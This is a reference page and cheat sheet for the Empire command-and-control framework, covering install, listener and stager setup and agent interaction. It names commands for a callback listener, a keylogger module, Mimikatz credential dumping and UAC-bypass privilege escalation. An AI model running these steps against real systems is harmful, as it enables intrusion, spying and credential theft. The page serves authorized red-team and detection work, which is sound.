Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
sudo apt install powershell-empire
powershell-empire
Empire is a free, open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y (Will Schroeder) in 2015 and now actively maintained by BC-Security. It provides red teams and security researchers with a robust platform for simulating advanced persistent threat (APT) behaviors during authorized engagements.
The framework uses a client-server architecture where the server manages listeners, agents, and modules, while the client provides the interactive console. Empire's agents use PowerShell (for Windows) and Python (for Linux) to maintain encrypted C2 channels back to the server, enabling remote command execution, credential harvesting, lateral movement, and persistence.
With hundreds of built-in modules covering reconnaissance, privilege escalation, credential extraction (including Mimikatz integration), lateral movement, and exfiltration, Empire enables comprehensive post-exploitation assessment. Blue teams and SOC analysts also study Empire's techniques to build detection rules and improve defensive capabilities.
Empire is intended exclusively for authorized security testing, educational purposes, and defensive research. Always obtain proper written authorization before using this tool in any engagement.
powershell-empire serverStart the Empire team server (RESTful API backend) that agents connect back topowershell-empire clientLaunch the Empire client console that connects to the serverpowershell-empire server --config config.yamlStart the server with a custom configuration filelistenersList active listeners in the client consoleuselistener httpSelect the HTTP listener module to configureset Port 8080Set an option (here the listen port) on the selected listenerset Host http://10.10.10.10:8080Set the callback host/URL the agent will useexecuteStart the currently configured listenerusestager multi/launcherSelect a stager to generate agent-delivery codeset Listener httpBind the selected stager to a named listenergenerateGenerate the stager output (e.g. a PowerShell launcher one-liner)agentsList all agents that have called back to the serverinteract <NAME>Enter an interactive session with a specific agentusemodule powershell/collection/keyloggerSelect a post-exploitation module to run on the active agentshell whoamiRun a shell command on the interacted agentsysinfoRetrieve system information from the active agentdownload C:\Users\Public\file.txtDownload a file from the agent to the Empire serverupload /path/to/fileUpload a local file to the compromised host via the agentcredentialsDisplay credentials harvested and stored by Empirekill <NAME>Terminate a specific agentrename <NAME> newnameRename an agent for easier trackingusestager windows/dllSelect the Windows DLL stager for injection-based deliverypluginsList loaded server plugins available in the clientinfoShow the current module/listener options and their valuesbackLeave the current menu and return to the previous oneEstablish encrypted command and control channels for authorized post-exploitation operations.
Deploy and manage lightweight agents on Windows and Linux targets within authorized scope.
Execute hundreds of post-exploitation modules for reconnaissance, credential harvesting, and persistence.
Simulate adversary lateral movement across network segments during authorized engagements.
Extract credentials using built-in Mimikatz integration and custom credential modules.
Test an organization's ability to detect C2 communications and PowerShell-based attacks.
Empire is a free, open-source C2 framework maintained by BC-Security, while Cobalt Strike is a commercial adversary simulation platform costing $3500+ per year. Empire uses PowerShell/Python agents with a CLI, while Cobalt Strike offers a full GUI with malleable C2 profiles and team collaboration features.
In the Empire client console, run uselistener http, then set Host http://10.10.10.10:8080 and set Port 8080. Finally, execute the listener with the execute command. The listener starts waiting for agent connections on the configured address and port.
Yes, Empire's PowerShell agents can execute arbitrary PowerShell commands and scripts on Windows targets. Use the shell command in an agent session to run PowerShell cmdlets, or load modules that execute specific PowerShell-based post-exploitation tasks.
Empire includes built-in Mimikatz integration through post-exploitation modules. Use usemodule credentials/mimikatz/logonpasswords to extract plaintext passwords, NTLM hashes, and Kerberos tickets from compromised Windows systems. Harvested credentials are stored in the Empire database for lateral movement. These are post-exploitation modules intended only for authorized engagements on systems you have explicit written permission to test.
Yes, Empire is actively maintained by BC-Security (bc-security.org). The project receives regular updates including new modules, stager types, and compatibility fixes. The GitHub repository at github.com/BC-SECURITY/Empire has over 10,000 stars and active community contributions.
Key privilege escalation modules include powershell/privesc/powerup/allchecks for comprehensive misconfiguration scanning, powershell/privesc/bypassuac_eventvwr for UAC bypass, and powershell/privesc/getsystem for SYSTEM-level access. Run these through active agent sessions after initial compromise during an authorized penetration test.
Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
Post Exploitation
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Post Exploitation
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment, allowing attackers or defenders to identify complex attack paths.
Post Exploitation
Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.
Exploitation
Cobalt Strike is a commercial penetration testing platform designed for adversary simulation and red team operations. It features a post-exploitation agent called Beacon and supports covert communication channels to model advanced persistent threats.
Exploitation
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.
Security Operations · AdvancedLearn detection engineering principles including rule development, Sigma rules, testing methodologies, false positive management, and building a detection program for security operations.
Security Operations · AdvancedLearn the incident response lifecycle including preparation, detection, containment, eradication, recovery, and lessons learned with practical frameworks and real-world scenarios.
Ethical Hacking · BeginnerLearn the core principles of ethical hacking, the five-phase penetration testing methodology, types of security testing, and how to build your own hacking lab.
Empire's console displays a command prompt with the current context (listeners, agents, or modules). Listener output shows the host, port, and URI. Agent output displays agent ID, hostname, username, and last check-in time. Module output shows task results including credential dumps, system information, and execution status. The console uses color-coded indicators: green for active agents, yellow for delayed check-ins, and red for failed connections.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.